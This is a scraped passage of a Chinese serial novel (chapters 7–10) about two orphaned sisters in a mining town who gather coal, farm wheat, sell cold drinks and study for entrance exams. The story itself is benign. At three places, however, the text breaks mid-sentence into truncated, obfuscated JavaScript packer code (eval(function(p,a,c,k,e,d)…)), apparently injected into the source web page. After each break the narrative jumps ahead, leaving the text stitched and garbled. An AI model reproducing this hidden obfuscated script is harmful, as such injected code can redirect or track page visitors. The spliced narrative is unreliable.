期末考试结束,隔了两天学校就放寒假了。 林豆蔻之前几乎所有的时间都用来学习了,现在终于有空余了,她做的第一件事儿就是上山捡柴火。 白天生火是很好的取暖方式,她捡来的陶罐重新弄了一下,底下用泥盘了个底座,这样就更加结实了,陶罐炉一刻不停的烧着,屋子里就会很暖和。 但这么个烧法儿,特别的废柴,她每天放学都要顺手捡一些枯枝回来,周末也总要留出时间上山捡柴。 即便这样,也没能存下来柴火。 她借了福婶儿家的平板车,每天上午捡一车,下午捡一车,一连捡了好几天,直到靠墙根儿的一溜都堆满了才觉得差不多了。 把粗的细的都分开,整整齐齐地摞在了院子里。 柴火足够烧一阵子了,家里也还有半袋玉米面,以及一些青菜萝卜,林豆蔻又想着趁放假攒点钱。 青山镇没有别的,小青山是个穷山,兔子都没有几只,物产不丰,但山上有煤矿,像林豆蔻这样的半大孩子,想要挣一点儿零花钱,最好的办法就是去捡煤。 其实之前她也经常去捡煤,但每次卖了钱,除了有两次她偷偷留下了,其余都是揣到了嫂子刘爱玲的衣兜里。 冬日的清晨,天还未亮透,人人走在雾蒙蒙的路上,周遭儿像一个巨大的冷库。 林豆蔻背着竹筐,一只手牵着妹妹,她不想让木香来,木香偏要跟来,这会儿还得意地笑,“姐姐,我现在不是我们班最矮的了。” “我们班最矮的是林巧云,她原来和我差不多,现在没我高啦。” 林木香在娘胎里就不足,生下来也没赶上好时候,没吃过多少有营养的东西,从小就又矮又瘦,这几个月搬出来单过,倒明显长高了一点儿。 林豆蔻牵着妹妹小心翼翼的往前走,青山镇是有名的雪窝,整个冬天都在不停地下雪,上一场雪还没化干净,下一场雪又来了,没人扫雪的地方,冰层越来厚,上山的路坑坑洼洼,有的地方还结了冰,踩上去一不小心就会滑倒。 她同样笑着说,“木香长高了,等明年你会更高的!” 等开了春,她要种菜,她要养鸡,她要养鸭,她要尽可能的让妹妹吃到更到有营养的东西。 当然她自己也是这样。 快走到废煤堆,有一个穿着花褂子,头上裹着红围巾的姑娘冲她们招手,“豆蔻,木香,你们来了!” 她是林豆蔻的堂姐林巧红,也就是三大爷的闺女,她有两个哥哥,都已经成家立业了,她自从去年辍学后,主要就是帮着家里干家务,带侄子侄女,她这个姑姑很抢手,有时候因为带孩子的事儿,大嫂二嫂还吵过架呢,除此之外,每天早上上山捡煤,空当绣花,农忙时还要下地干活儿,反正每天的时间都被安排的满满当当的。 “巧红姐,你来的这么早啊。” 林巧红是个团团的苹果脸,脸颊冻得有些红,她笑着说,“我也刚来,你快站这边来,一会儿运废料的大车就来了。” 她们结伴一起捡煤,时不时说几句闲话,“豆蔻,我早就知道你和你哥家分开了,只是总见不到你。” “我有一件穿小了的褂子,你穿正合适,一会儿回家拿给你。” 林豆蔻赶紧拒绝了,“不用了巧红姐。” 8. 第八章 太阳高高升起来了,光芒十分耀眼,可照在身上并不暖和,冷风像刀子一样刮来刮去,捡煤的人走了一波,又来了一波。 “豆蔻,咱走吧。” 两个年轻姑娘背着竹筐往山下走,豆蔻住在镇子西头,先到了她家,林巧红也跟着进了门洞,然后动作利落地把捡来的煤倒在地上。 “巧红姐,你这是干啥?” 林巧红一副无所谓的表情,“反正我捡多少,也跟我没关系。” 三大爷家的日子过得好,虽然是因为全家有力气往一块儿使,但也是因为有三大娘这么个人,她特别会盘算特别会安排,尤其钱抓得很近,农闲时儿子儿媳妇进城打个零工挣下的钱,都得交给她。亲闺女就更不客气了,别看林巧红每天忙到晚,挣下的钱都被三大娘收走了,身上一分钱都没有的。 像她这样的大姑娘,村里也有不少,多少都会有点儿钱的,一起约着赶集去买绣花用的丝线,擦脸的香脂擦手的□□油,一起吃个零嘴儿,也算是消散消散了,但林巧红一分钱没有,她要什么都是三大娘去买好。 也因此,巧红没什么朋友。 林豆蔻一愣神的功夫,林巧红已经走了,但没多久又来了,手里拿着一件深紫碎花的褂子。 林巧红说,“你快穿上看看!” 林豆蔻看到这衣服领口袖口都很很新,一点磨损都没有,更没有补丁,而且衣服也不小,她摇头,“巧红姐,真不用,你别看我外面的褂子旧了,里面的棉袄暖和着呢。” 福婶儿送来的两个棉袄,是用她的旧棉袄改小的,看着布面是旧的,实则里面添了新棉花,挺暖和的。 林巧红却说,“你见我穿过这褂子吗,我不喜欢这个色,白放着还不如给了你。”其实这褂子花色不错,也挺合身,穿上挺好看的,但三大娘也给自己做了一件一模一样的,还几乎天天穿着。 她很听她妈的话,让她干啥她干啥,让她往东她不会往西,但她就是不愿意和她妈穿一样的。 这还是去年做的,一开始三大娘还总逼着她穿,后来见她实在不穿,也只能骂骂咧咧几句算了。 林豆蔻还是不肯收,“巧红姐,你这衣服花色是挺好看,我还没在镇上看到一样的呢,我觉得你穿上肯定也好看,你就自己留着吧。” 林巧红这才一下子明白过来,堂妹或许是不敢要,倘若林豆蔻穿着这紫色褂子出门了,碰巧被她妈看见,那就不太妙了,以她对她妈的了解,要么直接跟豆蔻要过来,要么,让她跟豆蔻要过来。 无论哪一种,都会让她难堪。 这并不是恶意揣测,因为以前她妈就干过这样的事儿。 林巧红涨红了脸,没再坚持要送,闲聊了几句便走了。 第二天下了大雪,姐妹俩没出门,窝在家里学习,木香写了一会儿作业就缠着姐姐讲故事,天刚擦黑,没想到林巧红又来了,她手里拎着一个布袋子,笑着问,“豆蔻,我来你家绣花,不耽误你学习吧?” 林豆蔻也笑笑,“都放假了,不耽误,巧红姐你绣的什么?” 林巧红献宝似的从布袋子里掏出许多零零碎碎的小东西,有用布头拼成的手绢儿,用同样用布头做的小布口袋,口上有束绳,放个零钱什么的还挺方便的,再就是一大把扎头绳,是她妈管供销社的人要的那种捆东西的皮筋,外面再绕上了彩色的丝线,商店也有卖成品的。 花花绿绿的一大堆,林木香先被吸引了。 “巧红姐,这都你自己做的,真好看!” 林巧红得意的笑笑,“这算什么,一点儿都不难。”说着小心地展开她正在绣的枕套,是一个花开富贵的图案,才绣了一半儿,但已经很漂亮了。 林木香很想摸一摸,伸出手又缩回去了,林巧红拉住她的小手,让她在上面摩挲了两下。 然后两个人一起哈哈笑了起来。 一转眼就过年了,林建设一直没把剩下的钱补上,除夕傍晚,倒是叫两个妹妹去他家吃年夜饭,木香一开始还不肯去,她们自己也准备了一些好吃的,之前分家分到的半袋子麦面一直没舍得吃,林豆蔻蒸了一大锅白面馒头,还买了一斤多肉,一半切成厚片用盐腌了,一半切成馅拌在白菜里,做了一大锅肉包子,另外还有林大奶奶送的半盆炸丸子,炸藕合,炸酥肉,福婶儿送的一碗炖肉,隔壁堂嫂送的豆沙包和一大块豆腐,这些足够她们好好过个年了。 木香一开始不肯去,她人小记性却好,去年过年,大哥家做了很多好吃的,但只要她抬筷子夹肉,大嫂就偷偷瞪她,吃得特别不得劲儿,豆蔻其实也不太想去,但她还有别的打算,硬拉着妹妹一起去了。 大年三十,哪哪都热闹,街上还有不少人,无论碰到谁,林建设都热情的打招呼,并且跟人说,是带着两个妹妹回他家吃饭。 进了门,不出意外刘爱玲黑着一张脸。 林豆蔻并不在意,反而笑着说,“这大过年的,嫂子是遇到不高兴的事儿了吗?” 刘爱玲现在也懒得装了,皱着眉头问,“豆蔻,我不是让素丽告诉你早点儿过来吗?过年家里活儿多,也不知道主动来帮忙!” 林豆蔻惊讶,“没有啊,素丽没告诉我。” 林素丽本来就是个小孩儿,也有可能真的忘了,刘爱玲重重摔了一下手里的擀面杖,“她没告诉你,今年过年了,这么大的人了,不知道早点过来帮忙?” 她最近几个月的日子可不好过,两个小姑子搬出去了,什么活儿都得自己动手了,实在是不习惯,她起初还在放学路上堵过林豆蔻,想让她帮着收拾家务,不过借口是晚上炖肉,让过去吃,林豆蔻根本没搭理她,后来又去堵过木香,头回木香答应了,帮她看了一回孩子,第二回再叫,也不去了。 好在现在是农闲,田里不用管,只管家里就行了,但照顾两个孩子,洗衣服做饭,还要把家里收拾得干干净净的,这些已经够她忙的了,而且丽娜和秋果都不怎么听话,尤其是丽娜,都三岁多了还一点儿事儿不懂,动不动就胡闹撒泼,再加上有时林建设下班回来了,她还没做好饭,或者家里乱糟糟的没来及收拾,也会嫌弃的不行。 尤其丈夫有一次说,她都这么大的人了,竟然做饭还不如他妹妹,她脾气再好,也忍不住发火了。 今天除夕了,她让人给林豆蔻带了话儿,让她们早早过来,谁知一等也不来,二等也不来,小姑子不来,她也得做年夜饭,一个人炸了丸子,炖了肉,蒸了包子,蒸了馒头,最后又剁肉包饺子,正包着呢,这俩人来了。 竟然两个小姑子捡了个现成的,刘爱玲那个气呀,浑然忘记了,以前一早一晚都是豆蔻做饭,甚至中午都是,她像个少奶奶似的吃现成的,不仅如此,但凡好点的菜,她还不让人吃,多吃一个窝窝头,她都肉疼。 林豆蔻立即转头问,“大哥,嫂子这是什么意思,是不欢迎我们来吃饭吗?” 林建设心里也不咋喜欢两个妹妹,虽说现在不少人都知道是林豆蔻非要分家的,但毕竟这样的事儿挺少见,还会有人说是他把两个妹妹撵走了。 他现在是矿上的小队长,名声得好呢,这也是他亲自去叫两个妹妹的原因,他笑了笑,“哪能呢,这大过年的,谁家不是一起吃个团圆饭,你嫂子忙了一下午的,你俩帮她包饺子吧。” 林豆蔻和林木香一个擀皮儿一个包,刘爱玲生怕吃亏,立马解了围裙不干了,也坐在木沙发上,嗑瓜子吃苹果喝茶水。 苹果是矿上发的年礼,除了苹果,还有一袋子大米和一瓶食用油,普通工人只有油和大米,只有队长才额外多三斤苹果。 其实也不是什么特别好的苹果,不过这大冬天的,水果十分少见,让他很有优越感。 林建设早就觉得凭自己的资历,自己的表现,当个队长绰绰有余,但偏偏他总当不上,就最近才忽然提拔他了。 他不觉得这事儿和林校长有关系,但和两个妹妹分家之后,他的确又提着礼物去了一趟林校长家。 那老头态度不冷不热的,说了什么他都没完全听懂。 不管怎么样,林建设现在觉得大妹妹总算除了学习好,能带来一点儿实际的好处了,他再饭桌上还问,“豆蔻,明天别忘了去给大爷爷拜年。” 林豆蔻应了一声儿。 吃过年夜饭,林豆蔻帮着收拾好厨房,又带着妹妹坐在堂屋,吃瓜子吃苹果,不咸不淡的聊几句,没有一点儿要走的意思,刘爱玲想赶又怕是大年夜,被人知道了又说闲话。 她拉着一张脸,把桌上的吃食都挪了挪。 林建设也觉得两个妹妹奇怪,正想说夜里路黑,还是早点儿去老宅子比较好,没等他开口,林豆蔻先说了,“哥,剩下的钱,你别再拖了,今天就给我吧。” 刘爱玲立即扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姊妹俩坐在热炕上,一边喝着水,一边听着外面此起彼伏的鞭炮声,辞旧迎新,旧的一年结束了,新的一年马上要到了。 林豆蔻一只手围住妹妹的小肩膀,郑重地说,“木香,姐姐祝你在新的一年开开心心,茁壮成长!” 木香有点儿不好意思地笑了,她不仅个子高了一点儿,也有一点儿肉了,可惜脸蛋上生了冻疮,不过已经收口了,再过些日子就会好了。 林豆蔻又去烧了茄子棵水,给妹妹手上脸上都洗过了,自己也用这水洗了手,剩下的都用来洗脚。 这是福婶儿告诉她们的治冻疮的法子,还是挺有用的。 过了年又过了元宵节,寒假也结束了。 新的学期开始了,因为已经提前预习过,林豆蔻学得很轻松,但她现在操心的不仅是学习,还有别的。 天气越来越暖和了,身上的厚棉袄都穿不住了,她上学途中发现田里比之前明显人多了,有的在捡枯枝树叶,都是从山上吹下来的,有的在修整地垄,更多的人是用锄头在给麦田松土。 林豆蔻仔细看过了,她家的麦田土壤板结了,也得赶紧松松土了。 第二天一大早,天还未亮,林豆蔻拎着锄头出发了,路上已经有不少人了,都是下地干活儿的。 林豆蔻以前也锄过地,这活儿并不难,锄地的时候,顺便把长在棉苗中间的杂草拔了,一般是麦蒿子,还有一种长在春天麦田的野菜叫荠菜,这个是可以吃的,她拔掉后放在了竹筐里。 春日的太阳冉冉升起,照在山上,照在梯田上,照在好大一片的麦田里,照在人的身上,暖洋洋的。 林豆蔻锄了几拢地,急匆匆赶回家,拎上书包去上学,等到了傍晚,她再趁天黑前,再去锄地。 也就两三天的工夫,四亩多麦田便收拾得清清爽爽,都松了土,杂草也都薅干净了。 林豆蔻把荠菜清洗干净,用沸水烫过,切碎了加了盐和麻油,做了两大锅玉米菜团子,之前她做的都是白菜或萝卜馅的,味道普通,但荠菜就不一样了,有一种野菜独有的鲜美,她还在玉米面里加了些麦面,吃起来松软细腻一些,和荠菜配在一起口感很好。 木香一口气吃了三个。 林豆蔻拣了一些让妹妹给福婶儿和隔壁堂嫂送去,自己也用粗瓷碗装了几个,打算给林校长家送去,才走到镇子东边,不巧碰到了刘爱玲。 她穿着一件半旧的褂子,前襟还有一块明显的污渍,是早上做饭不小心弄上去的,就出来打个酱油,也就没换,头发也有点儿乱。 看到林豆蔻端着一个大碗,里面是几个玉米团子,这玩儿她并不稀罕,玉米面磨得再细吃起来也粗,有点儿拉嗓子,一辈子不吃她都不想。 很显然,这并不是给她送的。 刘爱玲笑了笑,“哟,这是去给谁送东西啊?” 9. 第九章 谁知往日的小姑子像是彻底变了一个人,不再是以前那种听话的老实样子了,腰板挺得直直的,像是没听见似的,根本没搭理她,步子走得飞快,很快就走远了。 好比是拳头砸到了棉花上,让她更不得劲儿。 林豆蔻到林校长家的时候,老两口正在吃饭呢,见送了玉米团子来,林大奶奶说,“我前几天还说,去麦田挖点荠菜,这会儿正鲜着呢。” 林校长拿起一个咬了一口,笑着说,“好吃。” 林豆蔻也笑笑,“大爷爷,大奶奶,等过一阵子我去采些蒲公英,晒干了当茶喝,可好喝呢,还能清火。” 以前母亲黄爱芬在世的时候,每年都会晒蒲公英茶,入口有些苦,但喝到嘴里很顺滑,再品一品,苦里带着一点点儿回甘。 小青山物产不丰,但有很多可以入药的野草,比如车前草,桔梗,丹参,还有金银花,每年母亲都会采上一些晒干留着自己用。 母亲对中药其实只是一知半解,真正的中医大夫是她外公,已经去世很多年了,是为人治病意外染上肝炎去世的。 林大奶奶把玉米团子都捡到自家的浅竹筐里,正要往粗瓷碗里放几个新蒸出来的馒头,林豆蔻劈手抢过碗,拿着空碗转身就走。 上次还是元宵节,她过来送自己做的豆腐馅儿的饺子,林大奶奶给她装了满满一碗的肉丸子。 虽说有来有往是正常的,但她送的东西太普通了,可不能回回占便宜。 春天真的比冬天好太多了,首先不冷了,豆蔻和妹妹手上脚上的冻疮都好了,也不用再穿笨重的棉袄棉鞋了,家里也不用总生火取暖了,烧柴不算麻烦,但总会生出不少烟灰,屋子里没有那么清爽。 从早到晚,都有一股子烟火味儿。 春天比冬天也好看多了,冬天到处一片灰暗和枯萎,天地之间都是肃杀之气,春天天空是蓝的,河水缓缓流动,山上全绿了,小草郁郁葱葱,迎春花风风火火,麦苗拼命伸直了身子往上长。 林豆蔻去集市上买回来十几只小鸡崽,还买了十几只小鸭子,这些小家伙毛茸茸的很可爱,却又很凶,打起架来直接上嘴啄。 木香很喜欢这些小鸡小鸭子,每天放了学,她就领着这些小崽子们在院子里闲逛,院子里逛够了,就带着去外面逛,小鸡小鸭在后面跟着,走成一长串,特别是小鸭子,笨拙地挪动着小身子,特别逗人。 学习之余,豆蔻跟着福婶儿学会了很多侍弄庄稼的本领,比如打药施肥浇地,其实都并不难,比学习可容易多了,只要不偷懒,就能做的很好。 她和妹妹的四亩多麦子长得又壮又密,瞧着不比旁边其他人家的差,甚至还略强一点儿呢。 只是因为忙着干农活,花在学习上的时间就少了一些。 她最近的考试成绩又下来了,又成了班里的万年老三。 这天,林豆蔻因为给麦子浇地迟到了,赵老师对此十分不满,觉得她学习态度有点儿问题。 最近他和分到县里的同学联系了几次,县里最好的高中是县一中,大家都习惯叫县中,最好的初中其实也是县一中,一中是初中和高中都有的,他这个同学就在县一中的初中部,他大出血请这个同学喝了一顿酒,把很多辅导资料都要过来了。 今天讲课就涉及到这方面的内容了。 下课后,他脸色极为不善的让她去一趟办公室。 林豆蔻的同桌赵贵仙,是赵老师的堂侄女,她家和赵老师家是隔墙邻居,赵老师家有什么风吹草动,她基本都能知道。 她低声提醒,“赵鸭子又疯了,因为昨天我婶子揍他了。” 赵鸭子就是赵老师,一向自诩聪明绝顶的赵振铎老师恐怕现在都不知道,他竟然有赵鸭子这么一个绰号。 说来话长,这两年镇上不少人家都养鸡养鸭子,养上几个月去县里很好卖掉,有时候甚至会有贩子来收,那价格也不算低,赵老师是大专生,但他的妻子刘金香是地道的农民,特别能干泼辣,家里家外都是一把好手,见人家养鸡养鸭都赚钱了,她也买了五十只小鸭子来养,平时她要做饭洗衣服带孩子,还要下地干活儿,没有功夫伺候鸭子,这个活儿就归了赵老师。 养鸭子其实不是啥难事儿,别人能养好,赵老师也能养得不错,眼看着鸭子越长越大,越长越肥,马上能宰杀换钱了,有一天他赶着鸭子去镇外的溪边饮水,没想到校长临时找他有事儿,让他去县上开表彰大会,这就把鸭子忘了。 等他想起来了,五十只鸭子跑得只剩下十来只。 据说赵老师为此挨了好几天的打,好几天的骂,吃了至少半月的冷饭。 还白得了一个赵鸭子的绰号。 豆蔻好奇地问,“为啥挨揍?” 林豆蔻见过不少夫妻吵架,打架的也有,但一般都是男的打女的,或者男女对打,像赵老师这样,长得又高又壮的,那刘金香是个瘦巴巴的女人,咋还能被女人揍呢? 赵贵仙并没看到,还是她妈去屋顶上拿东西,无意间在梯子上看到的,具体什么原因她也不知道。 赵老师倒也没有很疯,当得知林豆蔻迟到,是因为一大早去浇地了,反倒生出几丝愧疚,这个学生的情况,他太清楚不过了,说实话,一个十几岁的半大孩子,要上学,还要独自管着四亩多地,这主意要不是林校长给拿的,他都觉得有点儿不靠谱。 当然了,人和人是不一样的。 比如林校长是当兵出身,后来又被部队送去读了军校,专业后进了教育部门,按说早就算是个文化人了,但林校长就是喜欢干农活儿,什么农活儿都会干,什么农活都干得很好,他虽然是青山镇人,名下早就没有地了,包了没人要的荒地也要种庄稼。 再比如他自己,虽说也是在农村长大的,从小也帮着父母干力所能及的农活,仔细算算,其实也就念县中和师专的时候,短暂的远离了农村,倒也并不是懒,但他就是不喜欢干农活儿。 因为在赵老师看来,一心不可二用,像豆蔻这样又上学又种庄稼,肯定是不行的,但具体到这个学生,的确也没有别的选择。 他还是拉着一张脸,但没再多说什么,拿出一沓资料,说,“把这上面的内容都好好看看,以后干农活,尽量选在周末,不要耽误学习。” 赵老师本来还想说一句,如果有需要,他也可以去帮忙,但他打心眼里不喜欢干农活,就犹豫了那么十几秒,这个时间,他的学生已经拿着资料走出了办公室。 但他不知道,林豆蔻不仅要种庄稼,还要种菜,菜园子是现成的,就在老宅子的后面,修一修坏掉的篱笆,再把土用铁锨翻一遍,就能种了。 福婶给了她自己留的各种蔬菜种子,有南瓜,黄瓜,豆角,茄子,辣椒,丝瓜,足够日常吃了,但不同的蔬菜种法也不一样。 有的种子直接撒在土里,有的需要提前用水泡,还有的需要先育苗,等苗子长到三寸高了,再栽到地里去。 说来也挺奇怪,她干这些活儿,从来都是一学就会了,她洒在地里的种子很快都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林豆蔻傍晚放了学,先去了自家的麦子地,望着一个个数不清的沉甸甸的麦穗,在夕阳下仿佛镀了一层金光,那种从未有过的喜悦感充盈了整个胸口。 林豆蔻回到家,妹妹已经在洗衣服了,她特别勤快,但人小干不了下地的活儿,就抢着干家务活儿。 木香又长高了一点儿,看着明显有肉了,脸上冻疮留下的印子也全退了,皮肤白嫩了不少,一笑露出可爱的酒窝,“姐,今天晚上咱们吃什么?” 姐妹俩现在常吃的还是窝头,不过菜园子里有吃不完的菜,养了一群鸡鸭每天鸡蛋鸭蛋也吃不完,甚至还刚养了一只羊羔,这样等到了冬天,就能吃上新鲜的羊肉了。 林豆蔻拍了拍妹妹的头,“你想吃啥?” 木香乖巧地说,“姐姐做得都好吃,姐姐做啥我吃啥。” 林豆蔻笑了笑,去菜园子拔了小葱,摘了黄瓜和西红柿,姐妹俩的晚饭便是窝头,凉拌黄瓜,一大盘子西红柿炒鸡蛋,还有小米粥。 吃过饭,天还亮着呢,她背了筐子要去地里薅草,木香也非要跟着,姐妹俩一起出门,一路上吸引了不少人的目光,都主动跟她们打招呼。 其实不仅木香,豆蔻也长高了,也变白了,她一头乌黑的头发高高的梳在脑后,身上穿的是一件月白碎花的短袖衬衫,这衣服不是新做的,是用母亲黄爱芬的衣服改的,不过林巧红手巧,改了时兴的款式,尖尖的领子,还掐了腰。 林豆蔻穿上很合身,而且一下子变成大姑娘了。 10. 第十章 第二天天刚亮,她和妹妹已经吃过饭,镰刀也都磨过了,又带上了一壶水,等来到麦田,附近田里已经有不少人了。 林豆蔻弯腰割麦,木香跟在后面把割下来的麦子堆在一起,顺便捡拾掉了的麦穗,姐妹俩合作的很好,速度还挺快的。 割完两畦,她擦了擦额头的汗,把镰刀放在一边,把堆在一起的麦子捆成捆,全部捆上再挪到地头堆成麦垛。 木香又赶紧再捡落下的麦穗。 割了半响,麦垛已经堆得很高了,这时林校长的儿子林向南推着板车来了,他在县政府工作,是级别很高的干部,他的爱人在县商业局工作,也是个干部,但一到农忙,总会带着全家人一起回来,帮着割麦收麦。 林校长包了镇上山脚下的一处荒地,开垦出来的农田一年比一年多,光是麦子就种了十几亩,林向南为此还给父亲买了一个脱粒机,这东西用起来很方便,比用石磙子碾快得多,而且还脱得很干净。 昨天就跟豆蔻说了,让她割了麦送到他家的麦场上就行了。 林豆蔻赶紧迎上去,“向南叔,麻烦你了。” 林向南穿着白色衬衫,戴着草帽,他已经帮着割了好几天的麦子,脸都晒红了,他微微一笑,“没事儿,赶紧装车吧!” 到了下晌,林校长的十几亩麦子不但割完了,而且全部用脱粒机脱干净了,林向南全家都回了县里,林大奶奶看着晒场,林校长闲不住,拿着镰刀帮着林豆蔻来割麦了。 他穿着一件半旧的军绿衬衫,笑着说,“豆蔻,你这麦子长得不错,但你割麦的姿势不对啊,你下刀要果断,不能划拉好几下,每次别割那么多,先少割一点儿。“ 林豆蔻试了试,果然比之前好了一些,之前她着急,天气预报说这两天有雨呢,二来她的手一下抓了太多的麦子,她也觉得有点不踏实,老担心不小心割到手。 林校长割麦又快又好,木香跟在他后面捡麦穗,速度都快跟不上了。 只用了两天时间,姐妹俩的四亩多麦子就全部收割并且全部脱粒了,林校长家的麦场在镇东头,离着有点儿远,就把脱好的麦子装到麻袋,给她送回来了。 林豆蔻把院子扫了一遍又一遍,将新麦子倒在院子里晒,看着一地的麦子,她竟还有点儿不敢相信。 木香高兴的说,“姐,这下咱们有麦子吃了,是不是以后都能吃白面馒头了?” 林豆蔻笑着点了点头,的确今年的麦子收成很好,林校长替她粗略估过了,四亩半地,一共能有两千多斤,晒干了也能有两千斤,交了公粮之后,也还会剩下一千多斤,不仅够吃了,还能余下一部分卖了换钱。 麦假结束没多久就是期末考试了,考试结束又放假了,林豆蔻之前打算暑假里和寒假时一样,早上去捡煤赚点零花钱,但现在她改变主意了。 前一阵子她和福婶儿去交公粮,办完时间还早,就一起在县里逛了逛,县里的集上真是热闹,卖什么的都有,好多从村镇来的,卖鸡蛋,卖自己养的鸡鸭,或者卖各种蔬菜,这些东西都很好卖,不过她看上的是另一个生意,那就是卖汽水冰棍儿。 林豆蔻有个表姨住在县里,她很小的时候跟着母亲去过一次,表姨家住的有些偏,附近不远就是冷饮厂。 每天她可以一早去厂里批发,下午卖完就回家了,不算累,也不用多少本钱。 林木香听了立即也要跟着去。 从青山镇到县里也不算太远,也就七八里地,走上一个钟头就到了,冷饮厂外面有专门的批发部,这边交了钱开出单子,去另一个窗口领东西就行了。 别人卖冷饮都是有一辆自行车,林豆蔻没有自行车,她将几捆汽水小心地装在麻袋里背着,盛冰棍的木箱子,还是林校长给她做的,用了轻便的桐木,上面写了大大的两个字冰棍,还做了把手,可以提着不费力气。 她和木香一人提着一边儿。 她们来到县里最繁华的一条街,这里有供销社,有各种商店,最热闹的集市也在附近,今天正好逢集,街上人特别多,还没等着找个合适的地方歇口气呢,就有人来买冰棍了, 有第一个人买,就有第二个,第三个人买。 忙完一阵,林豆蔻找了个树荫处,将汽水从麻袋里拿出来摆好,开始吆喝了,“汽水儿,又甜又好喝的橘子汽水,一毛钱一瓶,奶油冰棍五分一根!” 虽然已经在家提前练过了,她还是有点儿不好意思,声音有点儿小,不过喊了一阵之后胆子就大了。 她的声音又脆又带着少女独有的甜糯,最主要的是,这天儿是真的热,都来县上赶集了,一般人都舍得花上一毛五分的买个汽水冰棍儿。 没到晌午,一百根冰棍,六捆汽水竟然就卖完了。 林豆蔻算了算账,冰棍是三分钱批来的,汽水是六分批来的,这一晌午,就赚了四块多! 若是上山捡一上午煤,能捡三十斤就算不错了,最多两分钱一斤,也就六毛钱。 林豆蔻领着妹妹往家走,走出县城的时候,不忘回头看了看身后,难怪人人都想在县里,县里的确好,能这么轻松的挣到钱。 整个暑假,除了忙地里的活儿不得不耽误了几天,其余时间,每天一早林豆蔻都带着妹妹去县里卖冷饮。 纵然戴着草帽,一个多月下来,姐妹俩也被晒得又红又黑,尤其豆蔻,不仅黑,一双手因为干农活,还特别粗,掌心全是厚厚的茧子。 因为背汽水,一开始背六捆,后来背九捆,肩膀上全是勒痕,渗出血没及时处理,结了痂脱落了也比周围的皮肤颜色深一些。 不过这些都不重要。 最重要的是,林豆蔻现在手里有两百多块了,这些钱或许不算很多,但已经让她有了足够的底气了。 现在她已经是一名初三生了,明年就要中考了,她的目标是考上县中,但往年青山镇考上县中的寥寥,也就四五个,五六个。 林豆蔻的成绩算是不错,是班里的第二名,整个年级排名第七,这个成绩很有希望考上县中,但也很有可能会高分落榜。 她并不算聪明,不像别人一学就会,不抓紧用功是不行的。 秋去冬来,冬天结束又是春天,不知不觉一年又过去了,林豆蔻不但长高了,整个人出落得亭亭玉立,性格比之前也更加沉静了。 这天上午第一节课是数学课,上次考试的卷子已经发下来了,她这次成绩总体很不错,班级排名第一,以微弱的优势超越了班里的第一名,年级排名也很靠前,是第三名。 这是她上初中以来的最好成绩了。 不过相比较其他科目,数学考得有点儿差强人意,她的卷面分是不低的,和班里的第二名第三名都一样,都考了一百一十八分,但最后一道不计分的附加题,她没做出来,第二名和第三名都做出来了。 这就非常微妙了。 一下课,赵老师就把她叫到了办公室。 “豆蔻,你觉得这次你考的好吗?” 林豆蔻微微低下头,“不好,最后的附加题没做出来。” 赵老师觉得她还算有自知之明,“看来你心里有数,考试不能光看分数,这次考试,你是靠英语往上拉了分,如果没有英语化学和语文的差距,你考得和赵秋琴,张正军差不多,甚至不如他俩,他俩都把附加题做出来了,而且做对了。” 要是换在以前,林豆蔻肯定又羞愧又难过,她并不聪明,她很害怕别人知道这一点儿,也因此,总觉得自己的好成绩是偷来的。 但现在她已经想通了。 具体什么时间想通的,她已经不记得了,可能是早上去捡煤,还不忘背单词的路上,也可能是傍晚在田里锄草,还苦苦思索一道解不开的数学题或物理题,还有可能是割麦的时候,一边割麦,一边绞尽脑汁想一些有关农忙的古诗词。 她不聪明,所以学得很用力,然而这并不丢人,就好比辛苦侍弄了庄稼,丰收是她该得的。 林豆蔻大大方方地承认,“赵老师,我可能不如他们聪明,但我以后会努力学的。” 她这么说,倒让赵振铎意外了,天下的老师都是一个样子的,都喜欢聪明的学生,赵老师教学经验丰富,早就看出林豆蔻天分有限,远不如赵秋琴和张正军,但这个学生偏偏现在考了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在也还是会有点儿紧张,但比之前稍微好一些了,林豆蔻把学过的相关内容迅速在脑子里过了一遍,若有了思路就继续做,没有思路就跳过去做下一题,不会像之前,越是做不出来,越是要拼命想,似乎自己跟自己赌气一般。 做完整张卷子,共有三道题不会做。 第二天课间,林豆蔻去请教赵老师,赵振铎接过她做的卷子,飞快地扫了一遍,再一次有些意外。 正确率比他预想的要高。 他不禁看了眼前的学生一眼,第一次怀疑自己的判断有误,作为一个负责的班主任,他对班上的学生都非常了解,林豆蔻和赵秋琴,张正军是完全不一样的,她是那种下苦功才能学习好的学生。 当然了,并不是这样不好,只是这样的学生有个缺点,那就是往往临场发挥不好,也因此考不上县中。 但林豆蔻似乎又并不完全是这样。 赵振铎舒展开眉头,尽量和颜悦色的说,“林豆蔻,做的不错,很好,这几道题不会也正常,毕竟多少有点儿超纲了。” 末了又补充,“中考也未必能考到这个难度。” 赵老师耐心的给她讲题,讲完一遍怕她不懂,正要再讲一遍,林豆蔻说,“老师,我明白了。” 在所有的学科里面,对她来说,最难的是物理和数学,即便是总考高分,她也有一种不得其法入不了门的奇怪,但最近她对物理似乎一下子开窍了,不但完全明白了课本上的知识,卷子上的题目也都觉得一下子变简单了,所以这次考试,她的物理是满分。 说来也奇怪,就在刚才,赵老师给她讲题的时候,她忽然有了那种醐醍灌顶的感觉,前一阵子她对物理开窍,也是这种感觉。 林豆蔻心里特别激动,拿起自己的卷子就跑了。 赵振铎觉得莫名其妙,不过也没有叫住她,他教学,不喜欢只是一味的硬塞,喜欢让学生自己琢磨。 